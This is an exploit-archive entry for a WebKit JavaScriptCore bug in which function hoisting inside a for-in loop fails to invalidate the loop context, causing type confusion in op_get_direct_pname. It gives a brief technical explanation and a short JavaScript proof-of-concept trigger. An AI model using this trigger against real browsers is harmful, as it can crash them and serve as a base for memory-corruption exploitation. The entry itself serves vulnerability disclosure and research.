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WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Exploit
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the ForInContext Object
/*
This is simillar to issue 1263 . When hoisting a function onto the outer scope, if it overwrites the iteration variable for a for-in loop it should invalidate the corresponding ForInContext object, but it doesn't. As a result, an arbitrary object can be passed as the property variable to the op_get_direct_pname handler which uses the property variable directly as a string object without any check.
PoC:
*/
function trigger() {
let o = {a: 1};
for (var k in o) {
{
k = 0x1234;
function k() {
}
}
o[k];
}
}
trigger();
# 0day.today [2024-12-24] #